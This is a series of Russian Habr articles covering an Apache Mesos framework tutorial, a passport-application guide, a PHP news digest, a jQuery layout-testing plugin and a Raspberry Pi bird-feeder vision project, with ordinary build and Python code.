* Если Scheduler имеет подходящую задачу, то он отправляет ее на мастер, вместе ID **resourceOffer**'а.
* Mesos доставляет задачу на slave, и запускает там **Executor** (если еще не запускал).
И передает задачу в него.
* Executer выполняет задачу, и сообщает результат **Slave**'у
* Результат доставляется в **Scheduler** в виде сообщения **StatusUpdate**.
Установка локальной версии Mesos
--------------------------------
Вообще говоря, [рекомендованная установка Mesos](http://mesos.apache.org/documentation/latest/architecture/) включает 3 хоста с запущенным процессом Mesos-мастера и использование Zookeeper для их синхронизации.
Но для разработки достаточно одного, запущенного на локальной машине. На данный момент проще всего установить Mesos, собрав его из исходников. Установка для различных платформ описана в разделе [Getting Started](http://mesos.apache.org/documentation/latest/getting-started/) в документации по Mesos.
Вот как это выглядело для Mac OS (с учетом того, что все девелоперские утилиты у меня уже есть):
```
$ git clone https://github.com/apache/mesos.git
Cloning into 'mesos'...
remote: Counting objects: 90921, done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 90921 (delta 3), reused 0 (delta 0), pack-reused 90908
Receiving objects: 100% (90921/90921), 281.56 MiB | 5.06 MiB/s, done.
Resolving deltas: 100% (65917/65917), done.
Checking connectivity... done.
$ cd mesos/
$ git checkout 0.28.2 # последняя стабильная версия на момент написания
$ ./bootstrap
$ mkdir build && cd build
$ ../configure --prefix=$HOME/opt/usr --with-python
$ make -j6 # собираем в 6 потоков, меньше слишком долго собирается,
#больше невозможно параллельно работать
$ make install
```
Для удобства можно добавить пути до Mesos в переменные окружения.
```
export PATH=$PATH:$HOME/opt/usr/bin
export PYTHONPATH=$HOME/opt/usr/lib/python/site-packages/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HOME/opt/usr/lib/
```
Запускаем локальный вариант
```
$ mesos-local
```
Теперь Mesos установлен и запущен. Его состояние можно посмотреть по адресу [localhost:5050](http://localhost:5050)
Первый Framework
----------------
Для начала импортируем необходимые библиотеки:
```
import mesos.interface
from mesos.interface import mesos_pb2
import mesos.native
```
Для запуска нам нужен Scheduler, для начала сделаем просто заглушку:
```
class SimpleScheduler(mesos.interface.Scheduler):
pass
```
Опишем наш фреймворк:
```
framework = mesos_pb2.FrameworkInfo()
framework.user = "" # По умолчанию имя пользователя запустившего framwork
framework.name = "Simple Scheduler"
```
Создадим инстанс планировщика:
```
scheduler = SimpleScheduler()
```
Запустим **driver** через который происходит общение планировщика с Mesos-мастером.
```
driver = mesos.native.MesosSchedulerDriver(
scheduler,
framework,
"localhost:5050"
)
driver.run()
```
Ура! Мы создали фреймворк, который бесконечно получает предложения ресурсов, и никогда их не использует.
Давайте попробуем позапускать задачи. Начнем с простого, с исполнения shell-команд. Для таких задач в Mesos уже есть встроенный Executor.
Чтобы запускать задачу в `SimpleScheduler` нужно описать функцию `resourceOffers`. Эта функция принимает на вход объект драйвера, который мы уже создали, и список предложений ресурсов. Мы для простоты будем всегда принимать первый.
```
class SimpleScheduler(mesos.interface.Scheduler):
#...
def resourceOffers(self, driver, offers):
# создаем описание задачи
task = mesos_pb2.TaskInfo()
# Обязятельное поле
task.name = "Simple Scheduler Task"
# Обязательное поле, дожно быть уникально среди
# запущенных фреймворком задач
task.task_id.value = str(self._next_id)
self._next_id +=1
# Чтобы показать, где запустить задачу, передаем slave_id из offer'a
task.slave_id.value = offers[0].slave_id.value
# Если поле command заполнено, то Mesos будет использовать
# встроенный CommandExecutor, который выполнит эту команду в
# shell'е
task.command.value = "echo Hello Mesos World"
# Теперь нужно заполнить информацию о потребляемых ресурсах
# она обязательная.
cpus = task.resources.add()
cpus.name = "cpus"
cpus.type = mesos_pb2.Value.SCALAR
cpus.scalar.value = 1 # Декларируем один используемый процессор
mem = task.resources.add()
mem.name = "mem"
mem.type = mesos_pb2.Value.SCALAR
mem.scalar.value = 1 # Декларируем 1 Мегабайт
# Запускаем задачи
# Первый параметр описывает список офферов, которые мы приняли
# для запуска задач.
# Второй параметр -- список задач. Списки не должны соответствовать
# друг-другу. Все ресурсы, предложенные офферами суммируются.
driver.launchTasks([offer.id for offer in offers], [task])
```
В принципе этого достаточно, для запуска задачи (если нас не интересует ее судьба). Можно запустить наш скрипт, и увидеть в логах `mesos-local` заветные строчки "Hello Mesosphere World"
Видимо одной статьи слишком мало чтобы решить поставленную задачу имплементации распределенной очереди. Продолжим ее решение во второй части.
Материалы по теме
-----------------
Официальная документация Apache Mesos, <http://mesos.apache.org/documentation/latest/>
Книга David Greenberg, Building Applications on Mesos, <http://shop.oreilly.com/product/0636920039952.do> | https://habr.com/ru/post/306548/ | null | ru | null |
# Gosuslugi.ru: получение загранпаспорта. Monkey business solution
Да, я знаю, эта тема обсуждалась еще год назад. Но, данная статья не о тестировании нового интерфейса сайта gosuslugi, и не описание конкретного случая. Это полное прохождение одного квеста. Одного из многих других квестов — наших в с вами взаимодействий с государственными чиновниками. Прохождение призванное сохранить ресурсы и уровень здоровья следующего игрока.
Эта статья — пробный камень в реализации идеи комплекта «Monkey business solutions» на все случаи жизни. Давайте помогать друг другу и делиться «игровым» опытом.
**Рекламно-теоретическая часть**
*Пусть вас не смущает отличие интерфейсов, ролик я стащил из [нового варианта сайта](http://epgu.gosuslugi.ru/pgu/).*
**Практическая часть**
Предполагается, что вы уже прошли процедуру регистрации на сайте [gosuslugi.ru](http://www.gosuslugi.ru/), дождались приглашения на почту (до 2-х недель) и получили код активации своего аккаунта.
Тогда за дело!
Сперва решаем какой тип паспорта мы получаем: старого образца на 5 лет за 1000 руб. или нового образца на 10 лет за 2500 руб. (для детей 300 и 1200 соответственно)
*Не все УФМС выдают паспорта на 10 лет. Лучше уточните этот вопрос заранее.*
Теперь в верхней части страницы сайта необходимо выбрать «Ваше местоположение»
Выбирайте место прописки (пардон, регистрации), все остальные варианты обречены на неудачу, не зависимо от того, какой адрес вы выберете или какой указан у вас в профиле. Поверьте, я перепробовал все, анкета всегда возвращалась в УФМС по месту регистрации по паспорту.
Если вы оформляете паспорт на ребенка то анкета придет в УФМС по месту… вашей прописки. Т.к. после Шага 3, где вы укажете № свидетельства о рождении, будет Шаг 4 где вы выступите гарантом и предоставите свои паспортные данные.
Итак, мы добрались до заполнения анкеты.
Но, не торопитесь вбивать данные. Делать это надо только тогда, когда у вас в руках все [необходимые документы](http://www.gosuslugi.ru/ru/card/index.php?coid_4=65&ccoid_4=72&poid_4=158&soid_4=439&toid_4=392&info_4=0&rid=228&tid=14612).
1. Трудовая книжка или её копия
2. Оригинал и копия паспорта (+ свидетельство о рождении для ребенка)
4. Военный билет для мужчин от 18 до 27 лет
5. Ранее выданный заграничный паспорт.
6. [Квитанция об оплате](http://www.fmsmoscow.ru/zagranpasport_text.php?nid=60&)
Если, что то не понятно, читаем [офсайт](http://www.fmsmoscow.ru/zagranpasport.php)
Кстати, выписку из трудовой книги лучше сделать сразу в 2-х экземплярах. Дальше объясню почему.
Теперь, очень внимательно. Нет. ОЧЕНЬ ВНИМАТЕЛЬНО заполняем анкету.
В конце аттачим свое фото. Не тратьте на него много времени. Это просто фото для анкеты. Если паспорт биометрический — вас сфотают отдельно, если нет — попросят принести 2 фотографии.
Посмотреть конечный результат — **нельзя**
Внести исправления после отправки — **нельзя**
! СОХРАНЯЙТЕСЬ! до того как нажать кнопку «Отправить»
* сэйв не работает при изменении местоположения
* сэйв не сохраняет фото
* отправка не работает если не заполнен профайл (дата рождения и пр.)
Заявка будет рассмотрена и направленна в УФМС по месту прописки в течение рабочего дня.
По ходу происходящих изменений вам должны приходить сообщения на е-маил. Они часто не проходят спам фильтры и опаздывают в среднем на 3 часа. Поэтому, утром следующего дня просто загляните в «Личный кабинет» раздел «Заявки».
Получив приглашение типа:
`10.05.2011 18:31:39 Приглашение В течении 15 дней Вам необходимо прибыть по адресу: ...`
*Обязательно сходите на [сайт УФМС](http://www.fmsmoscow.ru/ufms_otdel.php) и уточните адрес и часы работы вашего отделения.*
Теперь вам предстоит встреча с боссом уровня. В отделении всегда много народу. Смело спрашивайте где принимают тех кто оформлялся через интернет. По всем стенам развешены объявления о том, что такие типы проходят без очереди. Кроме того, как правило, их принимают в отдельном кабинете. Ибо их единицы. Каждый кабинет закрыт на ключ и оборудован домофоном (крепость босса) Смело прикидывайтесь дурачком и звоните.
Если вас еще не разорвала разъяренная толпа — вам предстоит финальная битва.
Инспектор будет сверять принесенные документы с вашей анкетой.
Если он найдет разночтения или какого-то документа не окажется — **вы возвращаетесь в начало уровня.**
Изменить поданную анкету нельзя, ее можно только отменить и заполнить заново.
Отменять и подавать можно бесконечно. Инспектор увидит все копии ваших заявлений.
Тут вам пригодится ваш сэйв и вторые копии ваших документов. Почему вторые. Потому что первые остались в качестве трофеев у босса. Они для вас навсегда потеряны и надо собирать новый комплект.
Проходим весь уровень заново вплоть до попадания в замок.
**Победа!**
Теперь дело за малым. Вас сфоткают в кабинке похожей на экспресс-фото. Если вы ждали снятия антропометрических параметров, рисунка сетчатки глаз, отпечатков пальцев, ДНК и резуса-фактора… обломайтесь.
Через месяц в «Личный кабинет» придет приглашение забрать новый паспорт.
Ждите.
P.S. В июне пойду техосмотр проходить. Если никто не опередит — отпишусь. | https://habr.com/ru/post/119098/ | null | ru | null |
# PHP-Дайджест № 188 (7 – 21 сентября 2020)
[](https://habr.com/ru/post/519960/)
Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 8 Beta 4, инициатива по консолидации PHP-сообщества, концепт PHP для GraalVM, предложение по дженерикам в Internals, полезные инструменты, видео, подкасты, статьи.
Приятного чтения!
### Новости и релизы
* **[PHP 8.0.0 Beta 4](https://www.php.net/archive/2020.php#2020-09-17-1)** — Дополнительный незапланированный выпуск беты. Добавлен для стабилизации JIT и именованных аргументов в ядре, а также [переделывания ворнингов и нотисов](https://wiki.php.net/rfc/engine_warnings).
Переносить дату финального релиза (26 ноября) пока не планируется. Следующий релиз-кандидат ожидается 1 октября.
* **[PHP: Community Synergy Initiative](https://www.reddit.com/r/PHP/comments/ivpfcf/php_community_synergy_initiative/)** — С проектом PHP есть ряд проблем. Несколько заметных примеров: непонятная и устаревшая секция комментариев в документации на [php.net](https://www.php.net/), отсутствие синергии между сообществом и мейнтейнерами языка, недостаточно прозрачности в том, что происходит в проекте кроме новых фич через RFC и нехватка новых людей в проекте.
[Paul Dragoonis](https://twitter.com/dr4goonis) и [Christoph Rumpel](https://twitter.com/christophrumpel) хотят сдвинуть дело с мертвой точки и для начала создали анонимный опрос **[The PHP Community Survey 2020](https://docs.google.com/forms/d/e/1FAIpQLSc5tGeRixL62mT90TwRGTtQXq-MeN6jUcBnCwKqmBo_lzXOyQ/viewform)**.
* **[Концепт реализации PHP для GraalVM](https://github.com/abertschi/graalphp)** — В рамках проекта GraalVM развивается альтернативная виртуальная машина для Java с поддержкой других языков. В экспериментальной реализации PHP [пока сделано](https://github.com/oracle/graal/issues/361#issuecomment-692670732) лишь небольшое подмножество возможностей PHP.
На синтетическом бенчмарке [Computer Language Benchmarks Game](https://en.wikipedia.org/wiki/The_Computer_Language_Benchmarks_Game) показывает более чем 80-кратное увеличение производительности [по сравнению с PHP 7.4](https://github.com/abertschi/graalphp/blob/master/results.md).
* [Поддержка MySQL 5.6 заканчивается в феврале 2021](https://elephantdolphin.blogspot.com/2020/09/mysql-56-end-of-life-is-less-than-six.html) — Если вы думали, что с обновлением PHP плохо обстоят дела, то вот [статистика](https://wordpress.org/about/stats/#mysql_versions) использования MySQL в WordPress: 65% установок используют MySQL ≤5.6.
* [Composer 2.0 RC1](https://github.com/composer/composer/releases/tag/2.0.0-RC1)
### PHP Internals
* **[Удаляемые дженерики (eliding generics)](https://externals.io/message/111875)** — Brent Roose, известный своими [постами о Laravel и PHP](https://stitcher.io/), выдвинул на обсуждение идею добавить в PHP дженерики, но без проверок в рантайме.
Например, возьмем такой код:
```
class Collection {
public function add(T $item) { ... }
}
$c = new Collection().
```
Статические анализаторы и IDE смогут его распарсить и провести анализ. В то время как интерпретатор дженерики проигнорирует и будет выполнять код как:
```
class Collection {
public function add(mixed $item) { ... }
}
$c = new Collection().
```
Идея не новая. Точно так же по умолчанию работают дженерики и [в Hack](https://docs.hhvm.com/hack/generics/type-erasure). А в Python, например, почти вся информация о типах в большинстве случаев удаляется и ни один популярный интерпретатор не валидирует типы аргументов.
* **[Observer API](https://github.com/php/php-src/pull/5857)** — В PHP 8 будет добавлен внутренний API для отслеживания входа и выхода из функции. Это полезно для расширений типа Xdebug, профайлеров и APM-решений New Relic, Tideways, и т. п.
Подробнее об API в подкасте [PHP Internals News #68](https://phpinternals.news/68) с авторами [Levi Morrison](https://twitter.com/morrisonlevi) и [Sammy K Powers](https://twitter.com/SammyK).
### Инструменты
* [phpbench/phpbench 1.0.0-alpha1](https://github.com/phpbench/phpbench) — Очень удобный инструмент для бенчмаркания своего кода. В новой версии можно сравнивать результаты с предыдущими запусками и соответственно использовать на CI для контроля производительности. Подробнее [в посте](https://www.dantleech.com/blog/2020/09/09/phpbench-alpha1/).
* [seanmorris/php-wasm](https://github.com/seanmorris/php-wasm) — Активно развивающийся форк PIB: PHP in Browser — PHP, скомпилированный в WebAssembly с помощью Emscripten. Позволяет запускать PHP в современных браузерах. Демо: [Drupal в браузере](https://seanmorris.github.io/php-wasm/?autorun=1&code=%253C%253Fphp%250Aini_set%28%27session.save_path%27%252C%2520%27%252Fhome%252Fweb_user%27%29%253B%250Asession_id%28%27fake-cookie%27%29%253B%250Asession_start%28%29%253B%250A%250A%2524stdErr%2520%253D%2520fopen%28%27php%253A%252F%252Fstderr%27%252C%2520%27w%27%29%253B%250A%2524errors%2520%253D%2520%255B%255D%253B%250A%250Aregister_shutdown_function%28function%28%29%2520use%28%2524stdErr%252C%2520%2526%2524errors%29%257B%250A%2520%2520%2520%2520fwrite%28%2524stdErr%252C%2520json_encode%28%255B%27session_id%27%2520%253D%253E%2520session_id%28%29%255D%29%2520.%2520%2522%255Cn%2522%29%253B%250A%2520%2520%2520%2520fwrite%28%2524stdErr%252C%2520json_encode%28%255B%27headers%27%253D%253Eheaders_list%28%29%255D%29%2520.%2520%2522%255Cn%2522%29%253B%250A%2520%2520%2520%2520fwrite%28%2524stdErr%252C%2520json_encode%28%255B%27errors%27%2520%253D%253E%2520error_get_last%28%29%255D%29%2520.%2520%2522%255Cn%2522%29%253B%250A%257D%29%253B%250A%250Aset_error_handler%28function%28...%2524args%29%2520use%28%2524stdErr%252C%2520%2526%2524errors%29%257B%250A%2509fwrite%28%2524stdErr%252C%2520print_r%28%2524args%252C1%29%29%253B%250A%257D%29%253B%250A%250A%2524origin%2520%2520%253D%2520%27http%253A%252F%252Flocalhost%253A3333%27%253B%250A%2524docroot%2520%253D%2520%27%252Fpreload%252Fdrupal-7.59%27%253B%250A%2524path%2520%2520%2520%2520%253D%2520%27%252F%27%253B%250A%2524script%2520%2520%253D%2520%27index.php%27%253B%250A%250A%2524_SERVER%255B%27REQUEST_URI%27%255D%2520%2520%2520%2520%2520%253D%2520%2524docroot%253B%250A%2524_SERVER%255B%27REMOTE_ADDR%27%255D%2520%2520%2520%2520%2520%253D%2520%27127.0.0.1%27%253B%250A%2524_SERVER%255B%27SERVER_NAME%27%255D%2520%2520%2520%2520%2520%253D%2520%2524origin%253B%250A%2524_SERVER%255B%27SERVER_PORT%27%255D%2520%2520%2520%2520%2520%253D%25203333%253B%250A%2524_SERVER%255B%27REQUEST_METHOD%27%255D%2520%2520%253D%2520%27GET%27%253B%250A%2524_SERVER%255B%27SCRIPT_FILENAME%27%255D%2520%253D%2520%2524docroot%2520.%2520%27%252F%27%2520.%2520%2524script%253B%250A%2524_SERVER%255B%27SCRIPT_NAME%27%255D%2520%2520%2520%2520%2520%253D%2520%2524docroot%2520.%2520%27%252F%27%2520.%2520%2524script%253B%250A%2524_SERVER%255B%27PHP_SELF%27%255D%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2524docroot%2520.%2520%27%252F%27%2520.%2520%2524script%253B%250A%250Achdir%28%2524docroot%29%253B%250A%250Adefine%28%27DRUPAL_ROOT%27%252C%2520getcwd%28%29%29%253B%250A%250Arequire_once%2520DRUPAL_ROOT%2520.%2520%27%252Fincludes%252Fbootstrap.inc%27%253B%250Adrupal_bootstrap%28DRUPAL_BOOTSTRAP_FULL%29%253B%250A%250A%2524uid%2520%2520%2520%2520%2520%253D%25201%253B%250A%2524user%2520%2520%2520%2520%253D%2520user_load%28%2524uid%29%253B%250A%2524account%2520%253D%2520array%28%27uid%27%2520%253D%253E%2520%2524user-%253Euid%29%253B%250Auser_login_submit%28array%28%29%252C%2520%2524account%29%253B%250A%250Amenu_execute_active_handler%28%29%253B&persist=0&render-as=html&single-expression=0).
* [imliam/php-unique-gmail-address](https://github.com/imliam/php-unique-gmail-address) — Пакет для нормализации Gmail адресов (убирает точки, добавления через + и прочее).
* [jawira/emoji-catalog](https://github.com/jawira/emoji-catalog) — 3k+ смайликов emoji в константах.
### Symfony
* [Неделя Symfony #716 (14-20 сентября 2020)](https://symfony.com/blog/a-week-of-symfony-716-14-20-september-2020)
### Laravel
* [Релиз Laravel 8](https://laravel-news.com/laravel8) — Подробный видеообзор  [на Laracasts](https://laracasts.com/series/whats-new-in-laravel-8),
* [Обзор системы аутентификации в Laravel](https://laravel.com/docs/8.x/authentication#ecosystem-overview) — Актуально с путаницей вокруг [laravel/fortify](https://github.com/laravel/fortify).
* [laravel/jetstream](https://jetstream.laravel.com/1.x/introduction.html) — В рамках релиза Laravel 8 представлен скелет приложения на базе Livewire/Inertia.js.
* [Как переключить драйвер очереди в Laravel на лету](https://divinglaravel.com/switching-between-queue-drivers-in-laravel-without-stopping-the-world).
*  [Laravel Business](https://www.youtube.com/channel/UCTuplgOBi6tJIlesIboymGA/videos) — Канал на YouTube с видео про фреймворк.
*  [Распространенные ошибки безопасности в приложениях Laravel](https://habr.com/ru/post/518400/).
*  [Laravel–Дайджест (14–20 сентября 2020)](https://habr.com/ru/post/519916/)
### Yii
* [Yii 2.0.38](https://www.yiiframework.com/news/303/yii-2-0-38) — Добавлена поддержка PHP 8.
*  [Новости Yii 2020, выпуск 6](https://habr.com/ru/post/519742/)
### Async PHP
* [Создаем PSR-15 адаптер для react/http](https://blog.wyrihaximus.net/2020/09/next-gen-react-http-psr-15-adapter/) с использованием [krakjoe/parallel](https://github.com/krakjoe/parallel). При это сами middleware, которые передаются в адаптер, могут быть блокирующими, так как выполняются в отдельных воркерах параллельно.
* [Используем ReactPHP для работы с HTTP API](https://mglaman.dev/blog/using-reactphp-consume-data-http-api).
### phpstorm PhpStorm
*  [Как ускорить разработку с помощью лайв темплейтов (сниппеты кода) в PhpStorm](https://www.youtube.com/watch?v=ec3aOtWxOog).
* [Code With Me](https://surveys.jetbrains.com/s3/code-with-me) — Ранняя версия (EAP) плагина для совместного программирования в PhpStorm и других IDE от JetBrains. Чтоб попробовать, нужно заполнить короткую анкету [surveys.jetbrains.com/s3/code-with-me](https://surveys.jetbrains.com/s3/code-with-me).
### Материалы для обучения
* [Простой рецепт отвязывания логики приложения от фреймворка](https://matthiasnoback.nl/2020/09/simple-recipe-for-framework-decoupling/).
* [О влиянии исключений на производительность](https://php.watch/articles/php-exception-performance) — Спойлер: блоки try/catch влияют незначительно, а бросание исключений требует сбора стека и создания объекта и как следствие может быть дорогостоящим. Но в реальных приложениях это никогда не будет узким местом.
* [Пошаговая инструкция о том, как контрибьютить в опенсорсные пакеты PHP.](https://johnbraun.blog/posts/contributing-to-a-PHP-package)
* [4 совета по рефакторингу в PHP](https://christoph-rumpel.com/2020/8/refactoring-php).
* Современная безопасность PHP: [Часть 1 — типичные проблемы](https://labs.detectify.com/2020/08/13/modern-php-security-part-1-bug-classes/), [Часть 2 — рекомендации по защите](https://labs.detectify.com/2020/08/20/modern-php-security-part-2-breaching-and-hardening-the-php-engine/).
* [Диалекты в коде: часть 2](https://www.rosstuck.com/dialects-in-code-part-2).
*  [HTTP-клиент на стероидах](https://habr.com/ru/post/518978/).
*  [Среда разработки PHP на базе Docker](https://habr.com/ru/post/519500/).
*  [Ускоряем кеш проекта в NoVerify (линтер для PHP) в 10 раз](https://habr.com/ru/post/519706/).
*  [Улучшения покрытия PHP кода в 2020 году](https://habr.com/ru/company/oleg-bunin/blog/519080/).
### Аудио/Видео
*  [Никита Попов и Nikolas Grekas обсуждают совместимость Symfony с PHP 8](https://www.youtube.com/watch?v=c3bpTBjhK2Y)
*  [Использование Xdebug для отслеживания функций](https://vimeo.com/457966378) и логирования каждого вызова со всеми аргументами и возвращаемыми значениями. И еще одно видео о том [как использовать профайлер Xdebug](https://vimeo.com/455589710).
* Никита Попов и я в подкасте «Подлодка» рассказываем про PHP.
### Занимательное
* [Неофициальное лого PHP 8](https://www.elephpant.com/#:~:text=PHP8%20logo)
* [White ConFoo elePHPant](https://shop.confoo.ca/foo-du-roi) — Предзаказ на слоников джокеров с логотипом PHP 8. Минимальный заказ 6 штук.
---
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
> Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
>
>
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 187](https://habr.com/ru/post/518064/) | https://habr.com/ru/post/519960/ | null | ru | null |
# Отличный плагин для проверки верстки
Существует множество способов тестировать верстку. Большинство из них были описаны в статьях или комментариях хабра. Упоминаний данного способа я не нашел.
##### XPrecise
Утилита разработана командой [xhtmlized](http://xhtmlized.com/).
Совместима со всеми браузерами, потому как подключается в виде плагина jQuery.
###### Установка и настройка
Для тестирования верстки вам нужно подключить jQuery, а за ним XPrecise
```
```
Затем вы экспортируете свой дизайн в .jpg картинку соответствующую названию страницы и кладете в папку \_xprecise\_images.
Если у вас другой тип или название файла вы сможете заменить его в процессе тестирования.
[Демо](http://2.s3.envato.com/files/240004/index.html)
[Скачать](http://dospolov.com/xprecise.zip)
P.S. К сожалению последняя версия jQuery, с которой он совместим — 1.7.1. Портировать на последнюю пока не удалось, буду рад, если кто-то поможет. | https://habr.com/ru/post/152115/ | null | ru | null |
# Умная кормушка: Machine Learning, Raspberry Pi, Telegram, немножко магии обучения + инструкция по сборке
Всё началось с того, что жена захотела повесить кормушку для птиц. Идея мне понравилась, но сразу захотелось оптимизировать. Световой день зимой короткий — сидеть днём и смотреть на кормушку времени нет. Значит нужно больше Computer Vision!
Идея была простой: прилетает птичка — вжуууух — она оказывается на телефоне. Осталось придумать как это сделать и реализовать.
В статье:
* Запуск Caffe на Raspberry Pi B+ (давно хотел это сделать)
* Построение системы сбора данных
* Выбор нейронной сети, оптимизация архитектуры, обучение
* Оборачивание, выбор и приделывание интерфейса
Все исходники открыты + описан полный порядок развёртывания получившейся конструкции.
Если честно, то я не был уверен, что всё получиться + сильно был не уверен в итоговой архитектуре. По ходу работы она достаточно сильно менялась. Поэтому на Хабре пишу после того как есть уже готовая версия. Перипетии развития можно отследить на GitHub и в блоге, где я делал небольшие отчёты походу (ссылки в конце статьи).
Идея «Хочу птичек распознавать» может иметь десятки реализаций. В начале работы мне хотелось, чтобы система автоматически обнаруживала прилетающих к кормушке птичек, определяла что это за птички, выбирала лучшую фотографию, выкладывала куда-нибудь + вела статистику посещаемости. Не всё отсюда получилось сделать.
### **Комплектуха**
* Ядро системы: Raspberry Pi первой модели, B+. Лежала у меня в ящике полтора года практически без дела. Сейчас, конечно, логичнее будет брать RPi 3. Там и памяти больше и шустрее сильно. Цена RPi 3 — где-то 3-3.5 т.р.
* SD-карточка для RPi. Вроде на 32 гига. Покупал давно, цену не помню. Где-то в окрестности 500-1000р
* Блок питания (microUSB). Взял из своих запасов. Опять же, где-то 500-1000р.
* Камера:
+ Изначально я планировал использовать самую базовую камеру от Rpi (Raspberry Pi Camera 1.3rev), которая у меня лежала в том же ящике. Но она не завелась. Судя по тестам умер либо разъём на RPi либо шлейф. Ещё вариант — дрова слетели. В ближайшее время пойму окончательно что там не так. Цена такой камеры, в зависимости от объектива и характеристик 1.5т.р — 2.5 т.р.
+ Так что в качестве стартового решения решил поставить вебку с компа. Обычную Creative, благо на Rpi B+ много USB портов. FaceCam100x. Покупал не прямо сейчас, стоит она где-то в окрестности 1т.р. Вариант плохой, так как качество убогое. Но набрать базу и затестить — сойдёт.
* WiFi-донгл. Взял самый обычный — TP-Link TL-WN727N за 400р.
* Собственно кормушка. Самому было делать лень, купил готовую. Обошлась где-то в 2т.р. с доставкой
### **Инфраструктура**
Кусок моей домашней сети, который ответственен за проект имеет следующую конфигурацию:
Rpi+камера висят около окна. Я провёл много экспериментов для того чтобы найти удобное крепление и хороший вид:
 
В результате воткнул в подставку для ножей. Она мобильна, можно набирать базу с разных ракурсов. Не сказать, что жене эта затея понравилась, но я уверяю, что это временное решение:
Картинки получаются такими:
  
Качество с вебки не ахти какое. Но, в принципе, понятно происходящее.
Вернёмся к архитектуре. В Rpi воткнут WiFi модуль, который подключен в роутеру. Фотографии сохраняются на сетевой диск (WD MyBook live). Для набора базы это необходимое условие (флешки на RPi на много не хватит). При использовании, конечно, можно отключать. Но мне удобно.
Сам Rpi висит без монитора. Его управление, программирование и настройка сейчас делается с основного компа по SSH. В начале что-то настраивал воткнув в монитор, но это не обязательно.
### **Сбор базы**
Хорошо собранная база — это куда сложнее, чем правильный выбор нейронной сети. Использование битой разметки или не репрезентативных данных может ухудшить качество системы куда больше, чем использование [VGG](http://www.robots.ox.ac.uk/~vgg/research/very_deep/) вместо [ResNet](https://habrahabr.ru/post/303196/).
Сбор базы — это масса ручного, пусть даже неквалифицированного труда. Специально для разметки больших баз есть сервисы Яндекс.Толока и Amazon Mechanical Turk. От их использования я воздержусь: размечу всё вручную сам, тут недолго. Хотя, может, имело бы смысл и туда загнать, потренироваться в использовании.
Естественно, хочется автоматизировать такой процесс. Для этого рассмотрим, что мы хотим.
Что есть база в нашей ситуации:
* Система работает с видео — значит это должны быть кадры из видео. Мощности для анализа видео последовательностей на стареньком RPi точно не хватит
* Система должна распознавать птиц в видео, значит в базе должны быть примеры кадров на которых птицы присутствуют, а так же примеры кадров где не присутствуют
* Система должна распознавать качество изображений. Значит в базе должны быть отметки, определяющие качество кадра
* Система должна иметь набор кадров на каждый тип птичек который она распознаёт
По сути, происходит событие «прилёт птицы». По этому событию мы должны определить, что это за птица прилетела и сделать хороший кадр.
Проще всего сделать тривиальный «детектор движения» и набрать весь его выход. Детектор движения сделаем самым простым способом:
Код на несколько строчек:
```
import cv2
import time
video_capture = cv2.VideoCapture(0)
video_capture.set(3,1280)
video_capture.set(4,720)
video_capture.set(10, 0.6)
ret, frame_old = video_capture.read()
i=0
j=0
while True:
time.sleep(0.5)
ret, frame = video_capture.read()
diffimg = cv2.absdiff(frame, frame_old) #Просто вычитаем старый и новый кадр
d_s = cv2.sumElems(diffimg)
d = (d_s[0]+d_s[1]+d_s[2])/(1280*720)
frame_old=frame
print d
if i>30: #Первые 5-10 кадров камера выходит на режим, их надо пропустить
if (d>15): #Порог срабатывания
cv2.imwrite("base/"+str(j)+".jpg", frame)
j=j+1
else:
i=i+1
```
#### **Результат работы детектора**
Детектор срабатывал на любую шевелёнку. На её начало и на её окончание. В результате работы детектора в течении недели была набрана база примерно в 2000 кадров. Можно считать, что птицы там в каждом втором кадре => приблизительно 1000 изображений птичек + 1000 изображений не птичек.
Учитывая, что точка обзора двигается не сильно – можно предположить, что базы плюс минус достаточно.
#### **Разметка базы**
Для разметки я написал простенькую программу на питоне. Снизу, ссылки на исходники. Огромное спасибо моей жене за помощь в разметке! Два часа убитого времени:) И ещё пару часов потратил я сам.
Для каждой картинки размечалось два признака:
1. Тип птицы. Ко мне, к сожалению прилетало лишь два вида синиц. Итого, три типа:
1. Птицы нет.
2. [Лазоревка](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8B%D0%BA%D0%BD%D0%BE%D0%B2%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BB%D0%B0%D0%B7%D0%BE%D1%80%D0%B5%D0%B2%D0%BA%D0%B0)
3. [Синица большая](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D0%BB%D1%8C%D1%88%D0%B0%D1%8F_%D1%81%D0%B8%D0%BD%D0%B8%D1%86%D0%B0)
2. Качество снимка. Субъективная оценка по шкале [0,8].
Итого, имеем для каждой картинки вектор из двух величин. Ну, например, тут:
Явно качество нулевое (0), а сидит – большая синица (2).
Всего по базе получилось примерно половина кадров с птицами, половина пустая. При этом синиц-Лазоревок было всего 3-5% от базы. Да, набрать большую базу от них – сложно. И да, обучиться по этим 3-5% (~40 картинок) – нереально. В итоге пришлось обучать только по обычным синицам. И надеяться что рано или поздно база лазоревок наберётся сильно больше.
#### **Расширение базы**
Сейчас я перескочу через этап, чтобы сохранить неразрывность повествования. Про сеть, выбор сети и её обучение будет рассказано следующем разделе. Там всё более-менее обучилось, кроме лазоревок. По базе процент точности распознавания кадра был где-то 95%.
Когда я говорю, что машинное обучение в конкурсах и в реальности – это две не имеющих отношения друг к другу вещи – на меня смотрят как на психа. Задачи на машинное обучение на конкурсах – вопрос оптимизации сеток и поиска лазеек. В редком случае – создания новой архитектуры. Задачи машинного обучения в реальности – вопрос создания базы. Набора, разметки, автоматизации дальнейшего переобучения.
Задача с кормушкой мне понравилась во многом из-за этого. Она с одной стороны очень простая – делается практически мгновенно. А с другой стороны – очень показательная. 90% задач тут – это не имеющая отношения к конкурсам тягомотина.
База, которую мы набрали выше — крайне мала для задач такого вида и не оптимальна. Она не предполагает «стабильности». Всего 4-5 позиций камеры. Одна погода за окном.
